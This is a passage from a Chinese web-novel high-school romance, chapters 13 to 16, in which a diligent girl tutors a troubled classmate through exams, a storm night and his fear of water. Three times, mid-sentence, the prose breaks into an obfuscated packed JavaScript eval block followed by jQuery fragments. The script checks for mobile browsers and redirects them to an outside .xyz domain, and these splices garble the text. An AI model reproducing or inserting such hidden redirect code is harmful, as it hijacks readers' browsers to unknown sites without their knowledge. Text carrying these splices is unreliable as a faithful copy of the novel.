她说完就要收回手,盛毓倏尔抬手攥住了她的手臂,他嗓音压制着怒火,冷声道:“你听得懂人话么。” 汤慈迎着他黑沉的眸子,瑟缩了一下肩膀,小声说:“你答应了的,这学期学习要听我的。” 盛毓气得眯起了眼。 汤慈垂着眼一动不动,看似好欺负,实则倔得像尊沉默的雕像。 余光瞥见一抹青色,视线下移,盛毓看到汤慈手臂血管处重复扎针的痕迹。 他缓慢地磨了磨后槽牙,甩开了她的手臂。 下课铃声猛然响起,汤慈揉着手臂,等铃声响完,才又说:“你别忘了写,我会监督的。” 盛毓冷眉冷眼站起身,被缠得无可奈何般“嗯”了一声。 汤慈到家后先复习了一遍功课,又给盛毓发了一条信息。 【你卷子写得怎么样啦?不会的地方可以随时问我。】 等了一会儿不见回应,她就先去浴室洗澡,洗完澡出来,手机还是没有收到任何信息。 估算了一下时间,一张卷子应该早就写完,她尝试着给盛毓拨去了语音。 由于没有给别人打语音的经验,指尖一错,她拨成了视频。 看到屏幕上露出自己的脸,她吓了一跳,连忙点挂断,对面却忽地接通了。 “你有完没完?” 盛毓应该是刚洗完澡,漆黑发尾滴着水,正神色不耐地将耷拉在眉间的湿发拨到脑后。 汤慈咽了咽喉咙,“我说了会监督你。” 盛毓从书桌上捞起写完的卷子,刷地一下怼到镜头上:“祖宗,行了么。” 汤慈透过薄薄的卷子看他颀长身影,顿了一秒才轻声问:“盛毓,你现在心里舒服一点了吗?” 14. 第 14 章 覆盖在摄像头上的卷子被扯了下来,盛毓低眸看着镜头,“你为什么在意我的心情?” 汤慈脊背僵直,镜头外的指尖一下下抠着桌沿,延迟两秒才嗫嚅道:“心情不好的时候……学习效率会下降。” 盛毓把手机搁在书桌,从衣架上捞出毛巾擦头发,“这样你就拿不到奖学金了是吧?” “对的。”汤慈看着镜头内的天花板,耐心地和他解释,“你把注意力转移到学习上就能忘掉其他的事。” 手机立在桌面,盛毓手臂抱胸,嗤道:“大晚上给我打电话就为了熬鸡汤?” 汤慈被他笑得耳热,她搓了搓脸颊,“我们来过一遍卷子吧。” 秋天的深夜出了窗外有风声掠过,就再无其他动静。 汤慈声线本就软,加上电流又给增添了一分糯感。 一张卷子讲完,盛毓罕见地在零点前感觉到了困意。 汤慈放下笔,问:“你都听懂了吗?” “嗯。” 在学习方面,盛毓向来有什么说什么,他说听懂就一定是理解透彻了。 汤慈满意地点点头,心里感叹晚上学习的效率如此之高,于是她脱口而出,“模拟考前我们晚上都视频复习吧。” 说完她就意识到自己越了界。 汤慈垂着眼抿唇,刚要否定前面的话。 却听见盛毓再次“嗯”了一声。 / 离模拟考还有一周,班里稍微注意一些的人都看出了盛毓的改变。 从一天到晚趴在桌子上睡觉到手中不离中性笔,大家逐渐熟悉了他和汤慈一起学习的场景。 盛毓在学习本就备受瞩目,任何小事都逃不过周围人的眼睛。 他改邪归正备战模拟考的消息不胫而走,在一中论坛里传得沸沸扬扬。 论坛里鱼龙混杂,除了看好的,看热闹的,唱衰的评论也是层出不穷。 食堂吃午饭时,江蝉打开论坛看到一个吐槽帖,叫汤慈一起看。 “我赌盛毓也就努力这几天,长时间摆烂的人不可能真的努力。” “可能跟他玩赛车一样,学习对他来说就是玩玩。” …… “他这种富二代学习的意义是什么,不论考成什么样,家里都能送出国上名校吧。” “最瞧不起他这种人了,仗着家里有钱为所欲为。” “他不会真以为临时抱佛脚有用吧,我赌他模拟考一定会考砸。” 后三条为同一个ID【0219】的评论。 江蝉撇着嘴说:“这个0219就是见不得别人变好,语气酸死了。” 汤慈揪起眉心问:“学校论坛注册后就能发言吗?” “对啊。”江蝉看她神色凝重的样子,问到:“你不会是要和0129对线吧?” 汤慈拿手机的动作顿了顿,“我先看看。” 江蝉提醒道:“看看就行了,不用当真,匿名论坛就是乌烟瘴气的,什么人都有,这个0129就是找存在感来了,你越理他他越犯贱。” 汤慈放下手机,淡笑着说:“我知道了。” 盛毓和周弋阳到教室时,离下午上课还差五分钟。 向来会在课前进行预习的汤慈,此刻正埋着脑袋玩手机。 周弋阳注意到她的动作,挑唇道:“汤慈今天吃错药了?” 盛毓乜了他一眼,拉开椅子坐下。 他俩动作说话声音都不轻,汤慈却完全没反应,指尖飞快地点击着屏幕。 盛毓抬手敲了敲她的桌沿,“做什么呢?” 汤慈被突然响起的声音吓到,指尖一抖,手机直接从指尖滑落。 她还没反应过来,盛毓已经伸手接过她的手机,安然地放回了桌面。 视线也自然而然地看到了她手机的屏幕,浅绿色的论坛界面,两条评论清晰映入盛毓的眼帘。 【0129:你这么维护盛毓,你是他的狗吗?】 【小t:你说话注意一点!】 盛毓喉咙发出轻笑,“这么凶啊,小t老师。” 汤慈被他笑得赧然,指尖扒着桌沿说:“我只是想让他别乱评价你。” “这种躲在阴沟里的老鼠你理他做什么。”盛毓指尖一弹她的额头,“不是你说的用学习转移注意力。” 他并没有用力,但汤慈的额头却酥麻一片,她指尖蹭了蹭被他触碰到的皮肤,低声说:“噢。” 晚自习课间,金铭在群里叫盛毓和周弋阳到操场抽烟。 周弋阳早就学得失去耐心,接到消息就拿着烟盒扭头问盛毓,“毓哥,走吗?” 汤慈正好给盛毓讲了一道大题。 盛毓转着手中的笔,挑眉:“我下去抽根烟?” 汤慈顿了一下,说:“噢,好的。” 周弋阳露出匪夷所思的表情,出了教室的门,才促狭道:“你俩什么情况,你怎么跟我爸一样,抽根烟还得和汤慈报备。” 盛毓耸耸:“管得严。” 联想到汤慈之前的拦车事件,周弋阳扯了扯嘴角,“汤慈表面看着乖,内心其实很辣啊,真带感。” 盛毓面无表情地瞥了他一眼。 金铭看到他俩下楼,忙招了招手:“先去趟小卖部吧。” 周弋阳点头说行。 盛毓把自己的钱包撂给他,“给我带瓶矿泉水——” 他语气停了一秒,又说:“再拿瓶牛奶。” 金铭习惯性接过钱包,笑着说好。 盛毓走进卫生间才将烟塞到嘴里,打火机砂轮清响,火舌舔舐上烟蒂。 青烟弥散开的同时,他听到离门不远的隔间内传来啪嗒的抽烟声和压低嗓子的议论声。 他本来没在意,抬脚朝里走,在听到隔间内传出的具体聊天才停下脚步。 一男生说:“行啊哥们儿,你就是0129啊,虽然论坛匿名,但你胆子也太大了。” 邹强:“切——面对面我也敢说,我说的都是事实,学校谁不知道盛毓全靠他爸啊。” 男生语气迟疑:“也不算吧,他入学成绩是第一呢,我听说他初中也是常年霸榜年级第一。” 邹强冷笑一声,“谁知道他成绩怎么得来的。” 男生声音颇有些不赞同,“一中的审查很严格,名次都是真材实料考来的。” 邹强急了,“你怎么跟论坛里的女的一样,无脑为盛毓说话……” 男生转移了话题,两人又嘀嘀咕咕了几句,等烟抽完才推开隔间的门。 卫生间的感应灯感应到拍手的声音,倏地亮起。 邹强和男生都看到了站在门前的高大身影。 盛毓点点烟,笑得如地狱修罗,“聊完了?” “学长好。”男生结结巴巴和他打了声招呼,快速溜出了卫生间。 邹强咽了咽口水,正要从盛毓身侧走过去,却被他伸出手臂拦了下来。 “你干,干什么?”邹强嗓音发紧地问。 盛毓慢条斯理抽了口烟,鼻腔呼出烟雾时,他猛地抬手,猩红的烟头朝邹强脸上按了过去。 “!” 邹强心口骤然锁紧,脚步本能地后退,直至后背贴上隔间的门版。 燃烧的烟头从他脸侧滑过,按在耳廓边的门板上。 盛毓仿佛饶有兴致地打量着他,嗓音沉而缓,“你要是再对小t发一个脏字,我保证让你尝尝烟头的滋味。” 周弋阳和金铭到门口时,正好看到邹强见鬼一样从卫生间内夺门而出。 周弋阳知道他们之间的瓜葛,问盛毓:“他又找你事呢?” 盛毓不屑地嗤了声,从金铭手中拿过塑料袋,撂下句,“走了。” / 模拟考的前一天是周末,学校照常给他们放了假。 放假前汤慈给盛毓安排了白天全科的复习,并照旧和他约好晚上开视频讲解知识点。 经过这段时间给盛毓补习,汤慈原本就稳固的基础打得更牢,于是她去了台球厅兼职。 周末的台球厅格外忙,汤慈一直到临近下班点,才抽出空档给盛毓发消息。 【卷子做得怎么样了?】 一直等到过了晚饭的时间,盛毓都没回,她想了想,还是按照原定的时间下班。 将暗未暗的夜空被乌云裹着,萧瑟的风一阵接着一阵刮。 汤慈裹紧外套,想到汤建伟留下的话,他和秦玲去江城考察项目,下周二才回家。 于是她在小区附近的餐馆打包了一份小笼包,回到家时,窗外已是狂风大作。 她坐在客厅吃小笼包,看着窗户外被风肆虐到摇摆的枝丫,庆幸自己回来得早。 由于汤慈从小就害怕这样仿佛末日般的天气,妈妈还在的时候她会紧紧黏在她身上,妈妈去世后她只能避免在这种天气出门。 正想着,手机兀地震动。 汤慈垂眼,看到消失几个小时的盛毓刚给她回信。 【盛毓:你在哪?】 汤慈木愣一秒,才快速打字。 【我在家。】 盛毓很快打来视频,汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977434|177405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慈条件反射般坐到书桌前,接通视频后,身体却僵住。 她的手机像素虽然有限,但汤慈还是一眼就看出盛毓在外面,仔细看他的唇角似乎还带着伤。 汤慈松开抿紧的唇,问:“你在哪?” “街上。” “马上下雨了,你快回家吧。” 盛毓嗤了声,“刚和我爸打完架。” 轰隆隆—— 一声惊雷截断了两人的对话。 汤慈目光朝混沌的窗外扫了一眼,一时焦急,没过脑子地问:“我家没人,你要来吗?” 盛毓完全不受雷电的影响,似笑非笑地问:“去做什么?” “数学试卷。”汤慈咬了一下唇瓣,“你还差一张试卷没做。” 一直到走到楼道门口,汤慈还恍然如梦。 她没想过盛毓居然会真的答应来她家学习,想来是他对模拟考上心了。 汤慈欣慰地勾起了唇角。 两人家离得不远,汤慈在楼下等了一刻钟,盛毓乘坐的公交车就停在了楼道口。 盛毓付完钱下车,朝愣在原地的汤慈抬眉,“几楼?” “三,三楼。”汤慈说着,像来做客的客人,让开了上楼的路。 盛毓也没跟她客气,抬脚走进了楼梯间。 汤慈跟着进去,余光撇见楼道外停放着的光溜溜的电动车,忙叫住盛毓,“你等我一下,我去把电动车盖一下。” 忽然,一股强劲的风吹来,吹透她身上面料稀薄的睡衣。 下一秒,汤慈猛地打了个喷嚏。 她正要不管不顾地朝外冲,后衣领却被一只大手揪住。 盛毓不给她反应的时间,把她捞进楼梯间。 “哪辆?” 汤慈懵然指了指花池边的卡其色电动车,盛毓抬腿走了过去。 意识到盛毓要帮她,汤慈忙追上来:“还是我来吧。” 盛毓下一点楼梯间,“老实等着。” 听他语气不善,汤慈只好在原地站着,指尖扒着门框探头去看。 盛毓穿一身黑,很快融入夜色之中。 他刚拆开雨布,暴雨后毫无预警地急速坠下。 汤慈大惊失色,喊了一声他的名字,“盛毓。” “马上好。”盛毓躬身把雨布的扣子扣上,步伐平缓地朝楼道里跑来。 短短几分钟,他浑身都湿透,却并不显狼狈,雨水勾勒出他锋利的轮廓,漆黑眸子沾水后变得更亮。 汤慈嗫嚅道:“你冷不冷啊?” 盛毓拨了一下额间碎发,“不冷,你家能洗澡吧?” 汤慈忙不迭点头,“可以。” 回到家后,汤慈翻出汤建伟的新衣服和新毛巾交给盛毓,然后才去调试热水器的温度。 试过水温可以之后,汤慈想了想,又把浴缸放满了温水,才去客厅叫盛毓。 盛毓已经将湿透的卫衣脱了下来,露出宽肩窄腰,落拓疏朗的骨架上是块垒分明的薄肌。 明明是观赏性极高的身材,汤慈却紧紧蹙起了眉。 她看到盛毓行肩膀到腰处都有明显的受伤痕迹,那些伤痕有深有浅,不知道积累了多少次激烈的斗殴。 盛毓没注意到她的观察,大步走进浴室,关上了门。 汤慈缓慢地闭了闭眼,倏尔听到浴室内传来扑通一声重击。 一颗心悬到喉咙口,她冲到浴室门边快速敲了敲门,“盛毓,你怎么了吗?” 浴室内一片死寂,仔细听有粗重的呼吸声从门缝内挤出来。 汤慈又尝试叫了几遍盛毓的名字。 无果。 别无他法之际,汤慈小心推开了浴室的门。 盛毓整个人蜷缩在浴缸对面的墙壁,漆黑发丝被他抓得乱七八糟。 他双目赤红,盯着无波的浴缸水面。 急促的呼吸在像外人昭告他此刻岌岌可危的精神。 汤慈蜷起指尖,悄声在他面前蹲下,试探着问:“盛毓,你不舒服吗?” 盛毓顿了一会儿才转动瞳孔看向她,哑声说了句什么。 汤慈没听清,又凑近了一些,颤声问:“你说什么?” 尾音未落,她的手臂突然被盛毓紧紧箍住。 他的掌心很大,只消轻轻用力就将她按进了怀中。 汤慈脸颊蓦然贴上他微冷的胸膛,耳边听到他杂乱无章的心跳和呼吸。 这次听清盛毓的声音。 他干哑着嗓子,仿佛用尽全身的力气,从喉咙处挤出两个微弱的字。 15. 第 15 章 他怕水。 汤慈怔了一下,手摸索着伸进浴缸,将软塞拔了出来。 狭小沉闷的浴室内,水声急促狂躁,浴缸内的水轰隆隆冲向管道。 几秒钟后,浴缸内的水就见了底。 盛毓粗粝的呼吸声逐渐缓和下来,快速起伏的胸腔也平复如初,只是手臂还紧紧地箍着汤慈的肩膀。 汤慈掌心撑着地板,试图撑起上身,却没能撼动肩上的力量半分。 她试探着拍了拍盛毓的手臂,轻声提醒他,“水放过了,你看一下么。” 听到汤慈的声音,盛毓咬紧的牙关放松,紧拧的眉心舒展一分,视线没朝浴缸内看,将她从怀里放开。 汤慈没有站起来,仍保持着蹲在地板上的姿势,昏黄灯光下,她抬眸用惶然地望着他,轻声问了一句,“盛毓,你怎么会怕水呢?” 盛毓没什么表情,青筋凸起的手抬起,躁郁地抓了把湿透的额发。 汤慈眉心轻蹙,嘴唇抿紧又松开,看着盛毓恢复冷淡的眸子,将剩下的话咽进喉咙。 过了几秒后,他低哑着嗓子答非所问:“我只用淋浴。” 汤慈稍顿,直起身,把浴缸上的浴帘拉上,将浴缸与淋浴间隔开来,“这样可以吗?” 盛毓“嗯”了一声,眉心还拧着,掌心在地上一撑就站了起来,然后他躬身自然地握着汤慈的手腕,将她拉了起来。 汤慈视线对上他光裸的胸膛,垂下眼皮,看着地板说:“我先出去了,你有事一定要叫我。” 浴室的门关上,汤慈听到门内持续传出花洒的声,又等了几秒钟才从浴室门边离开。 她快步回到卧室,蹲在书桌下,打开抽屉,从整齐的资料下翻出一张宣传页。 宣传页边缘已经泛黄,清晰艺术字体写着南岭市中学生游泳锦标赛,画面中间是蝉联几届冠军的盛毓。 还是初中生的盛毓身量已经很高,站在清澈见底的泳池边,眉眼疏淡俊朗,坦然笑着接受电视台的采访。 常年拿游泳冠军的人。 怎么可能会怕水呢? 汤慈喉咙哽着,心口莫名泛起一股酸涩的意味。 笃笃。 卧室门突然被敲响。 汤慈心里一惊,将手中的宣传页倒扣着塞进抽屉,抬眼朝门口看去。 盛毓站在她卧室的门前,头顶快要顶到门框,下颌朝她轻抬,“干什么呢?” 汤慈垂眼揉了揉鼻尖,“找学习资料……” 她说着,又将宣传页朝抽屉内又塞了塞。 盛毓看出她撒谎,语调微嘲,“找到了么。” 汤慈低声说“嗯”,把抽屉关上,站起身,将书桌上的卷子连带着课本一起抱起来,“我们去客厅写作业吧。” 她走到门边后,又欲盖弥彰地合上了卧室的门,说:“卧室的书桌太小,坐不下我们两个人。” 盛毓朝客厅扫了一眼,抬眉道:“那就去客厅的大茶几写。” “……” 汤慈顺着他的目光看了看端放在客厅中央的袖珍茶几,心虚地蜷起了指尖。 盛毓嘴上虽然嘲讽,但在沙发上坐下后并没有继续抱怨。 但汤建伟的衣服穿在他身上明显短了一截,长腿也憋屈地交叠在桌下,因此他的脸色并不好看。 他眉心始终轻拧着,在卷子上写下的字迹潦草张狂。 汤慈忍不住朝他的试卷瞅了好几眼,发现他的步骤和答案都对,便安心写起了自己的那份。 沙沙的写字声逐渐掩盖掉窗外的雨声,等两人把作业写完,汤慈又给他检查了一遍之后,她才发现雨已经下大了。 汤慈看了眼墙上的钟表,时间已经到了十一点半,她走到阳台边拉开纱窗朝外看,雨幕将天地遮盖,连对面的楼栋都看不清楚。 她转头心焦地对盛毓说:“雨越来越大了,你可能得再等会儿才能回家。” 盛毓拿着烟和打火机走到窗前,“你睡,我等雨停就走。” 汤慈点头说好,转头时余光瞥到他的衣领,目光忽地顿住。 刚刚在客厅时匆匆一瞥没有注意,此刻在阳台明亮的灯光下,盛毓后脖颈处有一道鲜红的血痕,那痕迹似蛇盘踞在他冷白的颈间,分外刺眼。 想到他在电话里说跟盛宏打架的事,汤慈攥着手心,犹豫着问:“你爸是不是还在家,要不然你今晚住我家吧。” 盛毓在窗沿上轻磕烟盒,指尖抽出一根,眼皮未抬地问:“怕我回家再跟他打起来?” 汤慈咽了咽嗓子,反问:“会吗?” “不会。”盛毓偏头朝她笑了一下,眼底却无一丝温度,“老东西挨了我几拳去医院了。” 汤慈哑然愣住,组织了半天语言,也没说出什么。 “怕了?” 她摇头。 “那还让我在你家住吗?” “让。”汤慈目光柔润,静静看着他的眼睛说:“你可以住我房间,我睡沙发就行。” 这下轮到盛毓沉默,他如墨的眸子居高临下看了她几秒,唇角扯起一个自嘲的弧度,抬手朝她额头弹了一下。 “我睡沙发。” / 汤慈抱着被子枕头走到客厅时,还有些恍惚。 盛毓叼着烟,将洗好的衣服搭在阳台, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983882|177405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬手往晾衣架上挂衣架时,偏短的衣服下摆抽了起来,露出他精瘦的腰腹。 汤慈忙错过视线,本能地清了清嗓子。 盛毓从唇边拿下烟蒂,“呛?” 阳台的推拉门关着,烟味并未入侵到客厅,汤慈听着他沙哑的嗓音,还是说:“有点。” 盛毓掐了烟,将晾衣绳升了上去,推开门问:“有牙刷吗?” “应该有。”汤慈将被子在沙发上铺开,说:“我找一下。” 由于工程工作性质,汤建伟常年出差,每次回家都会带一些宾馆免费的简易牙刷毛巾,汤慈记得这些日用品都放在浴室门上的柜子里。 柜门太高,汤慈够不着,搬来凳子站上去找。 柜子里堆满各类杂物,车票、纪念品等等,各类物品堆杂在一起,要精准找到某样东西并不容易。 盛毓走到柜子下,比站在凳子上的汤慈还高一些。 “好找么?” 汤慈侧目看了他一眼,翻找的动作加快,“好找。” 着急时刻,年久失修的柜门开始捣乱,啪嗒轻撞她的脑袋。 汤慈低唔一声,狼狈地捂住了头。 盛毓扯了扯唇角,伸手将柜门按住。 汤慈余光看到盛毓挺直的鼻梁,鼻息稍顿,慌张间,指尖摸到柜子角落的塑料袋尖角。 以为是一次性牙刷的包装袋,汤慈暗暗松口气,揪着塑料袋一角,把袋子整个扯了出来。 等看清塑料袋包装上的字时,她的呼吸又瞬间屏住。 南大附属医院还在旧址运营时,会给住院的患者发放免费的护理包。 小学毕业那会儿汤慈住院,汤建伟来照看她的几次拿了不少。 这么多年过去,这些护理包的有效期早就过了,汤慈顺手扔进垃圾桶。 盛毓扫了一眼护理包上的字迹,随口问:“你也在附院旧址住过?” 呼吸陡然一窒,汤慈抿着唇“嗯”了一声,再翻找东西时,动作显然有些僵。 看到柜子最深处竖起的长条形包装,她想也没想踮起脚去够。 凳子因她的动作翻起,身体瞬间失去平衡,带着脑袋朝后栽去。 后背被有力的手臂揽住,盛毓握紧她的手臂,帮她稳住身形。 汤慈胸口上下跌动,和危险擦肩让她的心跳骤然加快。 眼角余光瞥见盛毓近在咫尺的眼睛,她的心跳却又猛然暂停,连呼吸都凝滞。 好不容易调整好了感官,她咽了咽干涩的喉咙,瓮声说:“谢谢……可以放我下来了。” 盛毓却岿然不动,缓缓挑了挑眉:“你慌什么?” 16. 第 16 章 “没有。”汤慈低头把凳子搬到墙边,“牙刷太靠里了。” 盛毓把柜门合上,拆开一次性牙刷的塑料包装,指尖拨了一下廉价硬挺的刷毛,眉心不易察觉地皱了一下。 汤慈余光看到他的动作,起身时,隔空指了指刷头,“蘸水之后再刷,会软一些。” 盛毓挑挑眉。 汤慈以为他没听懂,顿了顿,从他手中拿过牙刷,到卫生间挤上牙膏,再打开水龙头沾上水,然后再放回他手里。 “……就这样。”她说。 盛毓笑了,“哦,你不说我还真不知道。” 听出他语气中的嘲讽,汤慈才意识到自己操心过剩。 她赧然挠了挠耳垂,催促,“好晚了,你快去刷吧。” 盛毓没再逗她,进卫生间时关上了门。 浴室的门是磨砂玻璃,隐约透出男生模糊的背影。 汤慈讷讷看了几秒钟才回卧室。 关上床头的台灯,卧室就彻底暗下来,只有门缝处亮着一线光。 汤慈躺在床上,听到客厅传来模糊的脚步声,很快啪嗒一下,门缝处的那线光也消失了。 天地间只剩下雨还不知疲倦地下着,淅淅沥沥浇灭她心头的异样感。 汤慈把被角朝身下掖了掖,将“盛毓就躺在一门之隔的客厅这个荒诞的事实”摒除脑海,才有了睡意。 雨是半夜停的,汤慈睡眠浅,雨停前的一场骤风卷着碎枝桠打到窗沿,将她吵醒。 她惺忪着眼睛翻了个身,准备继续睡时,听到阳台传来推拉门滚动的声响。 过了两秒,打火机砂轮声和盛毓懒怠的一声“喂”同时响起。 汤慈在昏暗中睁开眼,从枕头下摸出手机,屏幕上的时间显示凌晨三点半。 老旧小区隔音差,加上她房间窗户和阳台离得不远,汤慈不可避免地听到了盛毓打电话的声音。 内容听不清。 但能听出电话对面是个温柔的女声。 盛毓嗓音平和,不时地低笑一声。 在万籁俱寂的凌晨显得格外温柔。 汤慈捏着被角,闭上因为手机刺眼灯光而酸涩的眼睛。 一遍遍想着明天可能会考到的重点,才又睡着。 / 经过昨夜的暴雨,南岭迎来了一个艳阳晴天。 六点钟闹钟响起,汤慈准时起床,换好衣服,走到卧室门前,放在门把上的手停住。 她把耳朵贴在房门上,没听到客厅有什么动静,拉开门一看,客厅内空无一人。 沙发上整齐叠放着被褥枕头和衣服,阳台上的晾衣架上只挂着几个孤零零的衣架。 汤慈只在原地愣了几秒钟,就想起汤建伟可能会一早回家,她没来得及洗漱,迅速将被褥衣物归回原位。 她昨晚留了一个心眼,没有扔汤建伟衣服的包装袋,现在洗肯定是来不及了,重新装进袋子里,向来粗糙的汤建伟未必能发现。 将包装袋封口扣好,汤慈把衣服放回了主卧的衣柜。 就在这时,大门口传来钥匙开门的声音。 汤慈心里一惊,慌忙走出主卧,和刚进门的盛毓打了个照面。 盛毓看到她,抬了抬手里的塑料袋,“来吃早餐。” 汤慈张了张嘴,说:“我先去洗漱。” 盛毓吃饭安静且快,汤慈洗漱完出来时,他已经吃完一个包子,正边看手机边喝马上见底的豆浆。 汤慈不想让他等自己吃饭,也怕汤建伟这时回来,于是她决定在路上吃早餐。 她向来节省,几乎不在外面买吃的,所以尽管盛毓买的早餐很多,汤慈还是都打包拎上了。 从她家到学校,需要先步行一公里,再坐七站地铁。 到地铁站时,汤慈吃完了两个包子及两个饭团,豆浆及粥也都喝完。 将手里攒的扔进垃圾桶,她抽出纸巾擦着手,加快脚步跟上盛毓进站。 盛毓低眸扫了一眼她平展的腰腹,“吃饱了么?” “饱了。”汤慈努力咽了咽喉咙,礼貌奉承:“你买的早餐很好吃。” 盛毓唇角掀了一下,刷卡进站,“看出来了。” 列车正好到站,两人相继进入车厢,幸运地坐上了早高峰时间段唯二两个空位。 汤慈坐好后从包里掏出笔记本,偏头对盛毓说:“作为感谢,我可以给你讲一下我预测的考点。” 盛毓:“不必。” 汤慈“噢”了一声,翻开笔记本后,微不可查地朝盛毓那边挪了挪屁股,开始小声读重难点。 她声音很小,但由于贴盛毓贴得太近,知识还是不可避免地流入了盛毓的耳朵。 在汤慈讲到第二个科目时,耳边忽地响起一声不耐烦的“啧”。 汤慈声音立刻顿住,讷讷抬眸。 盛毓双手抱胸,冷着脸睨她,“你干脆趴我脑子里念。” 汤慈咽了咽喉咙,讷声道歉,“不好意思,我觉得读出来更有用一些……” 盛毓薄唇平直,还没等继续说什么,旁边坐着的大姨揪着眉刮了他一眼。 “你这男孩怎么回事,人家小姑娘读书这么刻苦,你不知道跟着学居然还说风凉话。” “……” 感受到盛毓的低气压,汤慈默然不说话,垂着脑袋的样子看起来很委屈。 大姨见状又把盛毓往汤慈那边推了推,“愣着干嘛,跟着学啊。” 汤慈感觉到盛毓压过来的手臂,身上紧绷了起来,但迫于大姨期盼的眼神,只好指着笔记本上的字对盛毓说:“你,你看牛顿第三定律这个知识点,今天应该会考到。” 盛毓黑着脸,“嗯”了一声。 汤慈松了一口气,大着胆子给他讲了起来。 出了地铁,汤慈还剩一个知识点没有讲到,她一边小跑着跟上盛毓的脚步,一边孜孜不倦地传道。 手机震动,盛毓懒怠接起,“喂。” “毓哥,一起走吗?” 听出周弋阳的声音,汤慈立刻噤声,脚步也慢下来。 盛毓说:“我已经到了。” 周弋阳夸张惊呼:“牛逼,老许见了得给你发锦旗。” 盛毓没理会他的调侃,随便聊了两句就挂断了电话。 正好走到转弯处,迎面走来一群行色匆匆的上班族,他步伐停了几秒。 汤慈慢吞吞跟上,走到盛毓边上的时候,他垂眼,淡声问:“怎么不念了?” “周弋阳听到我的声音不太好吧。” 盛毓明知故问:“怎么不好?” “他可能会误会什么……”汤慈拽了拽书包带,很体谅地说,“要是问起你我们为什么会一起上学,你不好解释啊。” 盛毓双手插兜,语气平淡:“那就实话实说。” 汤慈抿紧唇又松开,为自己的扭捏作态感到不齿,垂着眼睛说:“好的。” 人行道前方一时无人,盛毓忽然躬身,目光和她平视,声音沉而缓:“我就告诉他,汤学霸昨晚非要让我留宿她家。” / 江蝉和汤慈一个考场,临考前,她坐在汤慈后面的空位,止不住地和她确认重难点。 汤慈一一准确应答,但神情却飘忽。 江蝉伸手在她眼前晃了晃,“你怎么看起来跟没睡醒一样。” 汤慈拨了拨耳边的碎发,“昨天下雨没睡好。” 江蝉突然被窗外人影吸引了目光,戳了戳汤慈的手臂,“你快看!那不是九班的班花吗?跟盛毓在一个考场啊。” 教学楼是u型结构,她们班级对面正是九班,此刻九班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010891|177405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走廊一些学生正站着聊天。 化着淡妆的女生正仰起头和人群中心的盛毓说话,盛毓神色淡淡,微垂着头回应。 汤慈看一眼就收回目光。 江蝉趴在汤慈椅子上问:“你觉得盛毓这次考试排名能提高多少?” 基于盛毓目前做题的正确率,汤慈说:“最少五十名吧。” 江蝉讶然朝对面看了看,“你会不会太乐观了?” “他底子扎实,我稍微一教他就懂了。”汤慈说:“只要他好好写完没问题的。” “那也得大少爷自己愿意啊。”江蝉抿抿唇,“听说他上次交白卷就是因为太困直接睡了。” 想到昨晚她无意间听到的那通电话,汤慈也担忧起来,但很快被高强度的考试斩断杂绪。 下午考完试,离晚自习还有一段时间,汤慈先回教室等江蝉一块吃饭。 收拾东西时,金铭敲了敲后门,“喂,书呆子。” 汤慈过了几秒才意识到他在喊自己,转头问:“有事吗?” “看到毓哥没有?” 汤慈摇摇头。 金铭拿出手机,准备给盛毓打电话。 汤慈想到金铭和盛毓一个考场,犹豫了一秒,问:“请问,你知道盛毓今天考得怎么样吗?” “毓哥后半场睡觉来着,”金铭说完无所谓地甩甩手,“这破考试确实让人犯困。” 汤慈看着金铭的背影,细眉揪了起来。 校门外吃完晚饭,汤慈想起自己非处方的药吃完,就去附近的药房拿药。 结账时,店员见她穿着校服,强烈向她推荐一款安神口服液,“同学,你们一中学习那么忙,平时睡很晚吧,你试试这个口服液,喝了保证你一晚上都是深度睡眠——” 店员没说完,汤慈就轻声打断了她的话,“要一盒。” “好嘞,九十八。”店员满脸堆着笑说。 “……” 汤慈掏钱的动作卡住。 店员笑容不减,继续劝道:“小同学,这个口服液是我们店回购率很高的产品,很多学生都来复购的。” 汤慈咬咬牙,忍痛掏出一张大钞。 “买了。” 为顺应考试,班里的桌椅都拉成单人座。 右侧靠墙的一列,汤慈坐倒数第二排,盛毓最后第一排。 宋恪来找汤慈对答案,搬了个凳子坐在她旁边。 两人讨论得专注,都没看到身后进来的几个身影。 金铭眼尖地发现盛毓抽屉里的盒子,“安神补脑口服液?哈哈哈哈哈笑死,这谁给你买的?” 周弋阳也觉得匪夷所思,笑道:“什么神人会送这种东西?” 盛毓拿出那盒口服液,余光瞟向前座背影。 汤慈正在给宋恪写压轴题的解题思路,听到背后的声音,笔尖顿了一下。 胸口泛起酸意,自己花大钱买来的礼物在他们眼里原来是可笑的东西。 